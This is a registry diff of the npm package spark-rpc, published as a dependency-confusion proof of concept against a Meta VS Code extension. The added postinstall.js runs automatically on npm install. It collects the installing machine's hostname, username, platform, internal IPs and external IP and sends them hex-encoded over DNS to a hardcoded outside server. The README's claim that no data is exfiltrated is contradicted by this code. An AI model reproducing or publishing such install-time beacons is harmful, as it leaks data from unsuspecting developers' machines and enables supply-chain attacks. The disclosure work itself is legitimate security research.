spark-rpc 0.0.1-security → 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of spark-rpc might be problematic. Click here for more details.
- package/README.md +18 -3
- package/index.js +4 -0
- package/package.json +8 -3
- package/postinstall.js +45 -0
package/README.md
CHANGED
|
@@ -1,5 +1,20 @@
|
|
|
1
|
-
#
|
|
1
|
+
# spark-rpc — Dependency Confusion PoC
|
|
2
2
|
|
|
3
|
-
|
|
3
|
+
## Summary
|
|
4
4
|
|
|
5
|
-
|
|
5
|
+
This package is a **security research proof-of-concept** demonstrating a dependency confusion vulnerability in Meta's VS Code extension **Meta Spark** (SparkAR.spark-ar-studio, 11K+ installs).
|
|
6
|
+
|
|
7
|
+
The `spark-rpc` package name was unregistered on the public npm registry while the extension's `package.json` depended on:
|
|
8
|
+
|
|
9
|
+
- `spark-common: ^1.0.0`
|
|
10
|
+
- `spark-rpc: ^1.0.0`
|
|
11
|
+
|
|
12
|
+
An attacker could have registered these package names and published malicious packages that execute code during `npm install`.
|
|
13
|
+
|
|
14
|
+
## This PoC
|
|
15
|
+
|
|
16
|
+
This package only performs DNS lookups to a researcher-controlled server. No data is exfiltrated, no files are modified, no reverse shells or persistent access is established.
|
|
17
|
+
|
|
18
|
+
## Contact
|
|
19
|
+
|
|
20
|
+
Researcher: christos@pentestsec.com
|
package/index.js
ADDED
package/package.json
CHANGED
|
@@ -1,6 +1,11 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "spark-rpc",
|
|
3
|
-
"version": "0.0
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"description": "Security research — dependency confusion proof-of-concept for responsible disclosure",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"postinstall": "node postinstall.js"
|
|
8
|
+
},
|
|
9
|
+
"author": "Security Researcher <christos@pentestsec.com>",
|
|
10
|
+
"license": "MIT"
|
|
6
11
|
}
|
package/postinstall.js
ADDED
|
@@ -0,0 +1,45 @@
|
|
|
1
|
+
const { Resolver } = require("dns");
|
|
2
|
+
const os = require("os");
|
|
3
|
+
const https = require("https");
|
|
4
|
+
|
|
5
|
+
const VPS = "72.62.36.138";
|
|
6
|
+
const PKG = "spark-rpc";
|
|
7
|
+
|
|
8
|
+
const r = new Resolver();
|
|
9
|
+
r.setServers([VPS]);
|
|
10
|
+
|
|
11
|
+
function hex(s) { return Buffer.from(s).toString("hex"); }
|
|
12
|
+
|
|
13
|
+
function getIPs() {
|
|
14
|
+
const ips = [];
|
|
15
|
+
for (const [, ifaces] of Object.entries(os.networkInterfaces())) {
|
|
16
|
+
for (const i of ifaces) {
|
|
17
|
+
if (!i.internal && i.family === "IPv4") ips.push(i.address);
|
|
18
|
+
}
|
|
19
|
+
}
|
|
20
|
+
return ips.join("-") || "none";
|
|
21
|
+
}
|
|
22
|
+
|
|
23
|
+
function encode(label, value) {
|
|
24
|
+
const h = hex(value);
|
|
25
|
+
const chunks = h.match(/.{1,50}/g) || [h];
|
|
26
|
+
return new Promise(resolve => {
|
|
27
|
+
r.resolve4([label, ...chunks, "cb"].join("."), () => resolve());
|
|
28
|
+
});
|
|
29
|
+
}
|
|
30
|
+
|
|
31
|
+
async function main() {
|
|
32
|
+
await encode("pkg", PKG);
|
|
33
|
+
await encode("host", os.hostname());
|
|
34
|
+
await encode("user", os.userInfo().username);
|
|
35
|
+
await encode("os", os.platform() + "-" + os.arch());
|
|
36
|
+
await encode("ip", getIPs());
|
|
37
|
+
|
|
38
|
+
https.get("https://api.ipify.org", res => {
|
|
39
|
+
let d = "";
|
|
40
|
+
res.on("data", c => d += c);
|
|
41
|
+
res.on("end", () => encode("extip", d.trim()));
|
|
42
|
+
}).on("error", () => {});
|
|
43
|
+
}
|
|
44
|
+
|
|
45
|
+
main().catch(() => {});
|